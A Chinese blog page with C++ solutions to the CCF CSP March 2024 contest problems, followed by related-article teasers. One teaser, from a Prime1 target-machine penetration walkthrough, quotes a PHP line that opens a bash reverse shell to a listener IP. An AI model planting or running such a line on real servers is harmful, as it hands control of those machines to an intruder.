ccfcsp-202403(1、2、3、4)

news2024/9/22 9:51:35

202403-1 词频统计

#include <bits/stdc++.h>
using namespace std;
int main(){
    int n, m;
    cin >> n >> m;
    vector<int> vec(m + 1, 0);
    unordered_map<int,int> mmap;
    for(int i = 0; i < n; i++){
        int l;
        cin >> l;
        unordered_set<int> mset;
        while(l--){
            int k;
            cin >> k;
            mmap[k]++;
            mset.insert(k);
        }
        for(auto it : mset){
            vec[it]++;
        }
    }
    for(int i = 0; i < m; i++) {
        cout << vec[i + 1] << " " << mmap[i + 1] << endl;
    }
    return 0;
}

202403-2 相似度计算

#include <bits/stdc++.h>
using namespace std;
int main(){
    int n, m;
    cin >> n >> m;
    unordered_set<string> mset1;
    unordered_set<string> mset2;
    string s;
    for(int i = 0; i < n; i++){
        cin >> s;
        string str = "";
        for(char c : s){
            if(isupper(c)){
                c += 32;
            }
            str += c;
        }
        mset1.insert(str);
    }
    for(int i = 0; i < m; i++){
        cin >> s;
        string str = "";
        for(char c : s){
            if(isupper(c)){
                c += 32;
            }
            str += c;
        }
        mset2.insert(str);
    }
    unordered_set<string> intersection;
    for(auto it : mset1){
        if(mset2.find(it) != mset2.end()){
            intersection.insert(it);
        }
    }
    cout << intersection.size() << endl << mset1.size() + mset2.size() - intersection.size();
    return 0;
}

202403-3 化学方程式配平

#include <bits/stdc++.h>
using namespace std;

int main(){
    int n, m;
    cin >> n;
    while(n--){
        cin >> m;
        int l = 0;
        vector<vector<double>> matrix(50,vector<double>(50, 0));
        vector<string> vec(m);
        map<string,int> rowmap;//记录物质中的元素的位置(行数)
        int row = 0;
        unordered_set<string> set;//记录元素个数
        for(int i = 0; i < m; i++){//一个物质
            unordered_map<string, int> elem;
            cin >> vec[i];
            for(int j = 0; j < vec[i].size();){
                string element = "";
                string num = "";
                while(!isnumber(vec[i][j])){
                    element += vec[i][j];
                    j++;
                }
                while(isnumber(vec[i][j])){
                    num += vec[i][j];
                    j++;
                }
                elem[element] = stoi(num);
                if(rowmap.find(element) == rowmap.end()){
                    rowmap[element] = l++;
                }
                matrix[rowmap[element]][i] = stoi(num);
                set.insert(element);
            }
            row = row > set.size() ? row : set.size();
        }

        //处理矩阵
        int flag = 0, j = -1;
        //考察矩阵的第一列上的元素
        while(flag == 0){
            j++;
            for(int i = 0; i < row; i++){
                if(matrix[i][j] != 0){
                    flag = 1;
                    break;
                }
            }
        }
        //若不全为零
        int a = 0;
        for(; j < m; j++){
            if(matrix[a][j] == 0){ //如果其为 0,则将该行与后面的某一个第一列非 0 的行交换,使第一行第一列的元素非0
                int b = a + 1;
                while(matrix[b][j] == 0 && b < row)
                    b++;
                if(b >= row)
                    break;
                for(int col = j; col < m; col++){
                    swap(matrix[a][col], matrix[b][col]);
                }
            }
            //令后续所有行减去第一行的适当倍数,使得后续所有行的第一列元素为 0
            for(int t = j + 1; t < row; t++){
                double k = matrix[t][j] / matrix[a][j];
                for(int col = j; col < m; col++){
                    matrix[t][col] -= matrix[a][col] * k;
                }
            }
            a++;
        }
        int r = 0;
        for(int i = 0; i < row; i++){
            int flag = 0;
            for(int j = 0; j < m; j++){
                if(matrix[i][j] != 0){
                    flag = 1;
                    break;
                }
            }
            if(flag)
                r++;
        }
        if(r < m){
            cout << "Y" << endl;
        }else{
            cout << "N" << endl;
        }

    }
    return 0;
}

202403-4 十滴水

#include <bits/stdc++.h>
using namespace std;
vector<int> vec(3e5, 0);
void dfs(int x,int c){
    if(x <= 0 || x > c)
        return;
    if(vec[x] >= 5){
        vec[x] = 0;
        int l = x - 1, r = x + 1;
        while(vec[l] == 0 && l > 0)
            l--;
        while(vec[r] == 0 && r <= c)
            r++;
        if(l > 0){
            vec[l]++;
        }
        if(r <= c){
            vec[r]++;
        }
        dfs(l,c);
        dfs(r,c);

    }
}
int main(){
    int c,m,n;
    cin >> c >> m >> n;
    for(int i = 0; i < m; i++){
        int x, y;
        cin >> x >> y;
        vec[x] = y;
    }
    for(int i = 0; i < n; i++){
        int x;
        cin >> x;
        vec[x]++;
        dfs(x,c);
        int res = 0;
        for(int j = 1; j <= c; j++){
            if(vec[j] != 0)
                res++;
        }
        cout << res << endl;
    }
    return 0;
}

满分解(使用小根堆)

int main() {
    int n,m,k;
    map<int, int> mp;
    cin >> n >> m >> k;
    for (int i = 1; i <= m; i++) {
        int x, w;
        cin >> x >> w;
        mp[x] = w;
    }
    priority_queue<int, vector<int>, greater<int>> pq;
    for (int i = 1; i <= k; i++) {
        int p; 
        cin >> p;
        mp[p]++;
        if (mp[p] == 5) pq.push(p);
        while (!pq.empty()) {
            int u = pq.top(); pq.pop();
            mp.erase(u);
            auto it = mp.lower_bound(u);
            if (it != mp.begin()) {
                (--it)->second++;
                if (it->second == 5) 
                	pq.push(it->first);
            }
            it = mp.upper_bound(u);
            if (it != mp.end()) {
                it->second++;
                if (it->second == 5) 
               		pq.push(it->first);
            }
        }
        cout << mp.size() << endl;
    }
    return 0;
}

202403-5 文件夹合并

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2154781.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

通信入门系列书籍推荐一:通信原理和通信原理学习辅导

微信公众号上线&#xff0c;搜索公众号小灰灰的FPGA,关注可获取相关源码&#xff0c;定期更新有关FPGA的项目以及开源项目源码&#xff0c;包括但不限于各类检测芯片驱动、低速接口驱动、高速接口驱动、数据信号处理、图像处理以及AXI总线等 本节目录 一、背景 二、通信原理 …

石岩体育馆附近的免费停车场探寻

坐标&#xff1a;石岩体育馆侧的石清大道断头路, 如果运气好的话&#xff0c;遇到刚好有车开出的话&#xff0c;我觉得可以作为中长期的免费停车点 第一次路过的时候&#xff0c;把我震惊了&#xff0c;我一直以为石岩停车位紧张比市区还严重&#xff0c;因为石岩大部分为统建楼…

python画图|图像背景颜色设置

python画图出来的默认图形背景是白色&#xff0c;有时候并不适合大家表达想要表达的意思。 因此&#xff0c;我们很有必要掌握自己设置图形背景颜色的技巧。 【1】官网教程 首先请各位看官移步官网&#xff0c;看看官网如何设置&#xff0c;下述链接可轻松到达&#xff1a; …

Lubuntu电源管理

lxqt-config-powermanagement 打开托盘图标 Show icon 电源管理 电源管理管理笔记本电脑电池的低电量、关闭笔记本电脑盖的操作以及计算机长时间闲置时应采取的措施。 用法 LXQt 电源管理会监控您的电池、笔记本电脑盖、空闲情况&#xff0c;以及当您按下电源或睡眠按钮时会发…

IS-ISv6单拓扑存在的问题

文章目录 IS-ISv6单拓扑配置单拓扑存在的问题解决 IS-ISv6单拓扑B站视频传送门 IS-ISv6单拓扑 配置 R1&#xff1a;sy sy R1 ipv6 inter g0/0/0 ip add 12.1.1.1 24 ipv6 enable ipv add 2001:12::1 64 inter loop0 ip add 1.1.1.1 32 ipv6 enable ipv address 2002::1 128isi…

30个GPT提示词天花板,一小时从大纲到终稿

PROMPT 1 中文&#xff1a;构建研究背景与意义&#xff0c;阐述研究问题的紧迫性和重要性。 English: Establish the research background and significance, elucidating the urgency and importance of the research question. 中文&#xff1a;设计研究目的与目标&#xff…

TDOA方法求二维坐标的MATLAB代码演示与讲解

引言 时间差定位(Time Difference of Arrival, TDOA)是一种用于确定信号源位置的技术,广泛应用于无线通信、声学定位等领域。通过测量信号到达多个接收器的时间差,可以计算出信号源的二维坐标。本文将通过MATLAB代码演示如何使用TDOA方法来求解二维坐标。 TDOA原理 TDOA…

LeetCode题练习与总结:回文链表--234

一、题目描述 给你一个单链表的头节点 head &#xff0c;请你判断该链表是否为回文链表。如果是&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,2,1] 输出&#xff1a;true示例 2&#xff1a; 输入&#x…

CocosCreator 3.x 实现角色移动与加载时动态屏幕边缘检测

效果 思路 通过cc.view全局单例 View 对象获取屏幕尺寸加载时根据屏幕尺寸动态计算上下左右边缘 代码实现 import { _decorator, Component, EventTouch, Input, input, Node, view } from cc; const { ccclass, property } _decorator;/*** 玩家控制脚本*/ ccclass(Player…

Linux之实战命令03:stat应用实例(三十七)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

树及二叉树(选择题)

树 在树中&#xff0c;总结点数为所有结点的度和再加一 5、设一棵度为3的树&#xff0c;其中度为2&#xff0c;1.0的结点数分别为3&#xff0c;1&#xff0c;6。该树中度为3 的结点数为_。 二叉树 设二叉树的所有节点个数为N&#xff0c;度为零的结点&#xff08;叶子结点…

P9235 [蓝桥杯 2023 省 A] 网络稳定性

*原题链接* 最小瓶颈生成树题&#xff0c;和货车运输完全一样。 先简化题意&#xff0c; 次询问&#xff0c;每次给出 &#xff0c;问 到 的所有路径集合中&#xff0c;最小边权的最大值。 对于这种题可以用kruskal生成树来做&#xff0c;也可以用倍增来写&#xff0c;但不…

数字基带之相移键控PSK

1 相移键控定义 相移键控是指用载波的相移位变化来传递信号&#xff0c;不改变载波的幅度和频率&#xff0c;可用下面的公式表示。 是载波的幅度&#xff0c;是载波的角频率&#xff0c;是载波的瞬时相位&#xff0c;是载波的初始相位。如果需要调制的信号为1bit的二进制数&am…

spark读取数据性能提升

1. 背景 spark默认的jdbc只会用单task读取数据&#xff0c;读取大数据量时&#xff0c;效率低。 2. 解决方案 根据分区字段&#xff0c;如日期进行划分&#xff0c;增加task数量提升效率。 /*** 返回每个task按时间段划分的过滤语句* param startDate* param endDate* param …

[Web安全 网络安全]-CSRF跨站请求伪造

文章目录&#xff1a; 一&#xff1a;前言 1.定义 2.攻击原理 3.危害 4.环境 4.1 靶场 4.2 扫描工具 5.cookie session token的区别 6.CSRF与XSS的区别 二&#xff1a;构建CSRF的payload GET请求&#xff1a;a标签 img标签 POST请求&#xff1a;form表单 三&…

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

【linux】nice命令

Linux中的nice命令是一个强大的工具&#xff0c;用于调整进程的优先级&#xff0c;进而影响它们在CPU上的资源分配和执行顺序。以下是关于nice命令的详细解释&#xff0c;包括其用途、语法、参数、示例以及使用建议。 一、用途 nice命令主要用于控制进程在CPU上的调度优先级&…

Springboot3 + MyBatis-Plus + MySql + Uniapp 实现商品规格选择sku(附带自设计数据库,最新保姆级教程)

Springboot3 MyBatis-Plus MySql Uniapp 实现商品规格选择sku&#xff08;附带自设计数据库&#xff0c;最新保姆级教程&#xff09; 1、效果展示2、数据库设计2.1 商品表2.2 商品价格和规格中间表2.3 商品规格表 3、后端代码3.1 model3.2 vo3.3 mapper、server、serverImp3…

DNS是什么?怎么设置

NS是什么意思?有什么用呢?专业的说DNS就是域名系统 (Domain Name System)的简称&#xff0c;也就是IT人士常说的域名解析系统。主要是让用户在互联网上通过域名找到域名对应的IP地址&#xff0c;因为IP地址都是一串数字(例如&#xff1a;192.168.0.1)不方便记忆&#xff0c;便…

华为全联接大会HUAWEI Connect 2024印象(一):OpenEuler

因为和华为有课程合作&#xff0c;此次应邀参加了华为全联接大会 &#xff08;HUAWEI Connect 2024&#xff09;&#xff0c;分几次分享一下自己的见闻。 HUAWEI Connect 2024的规模很大&#xff0c;不过主要面向的应该是企业市场&#xff0c;我比较关注的嵌入式系统的内容很少…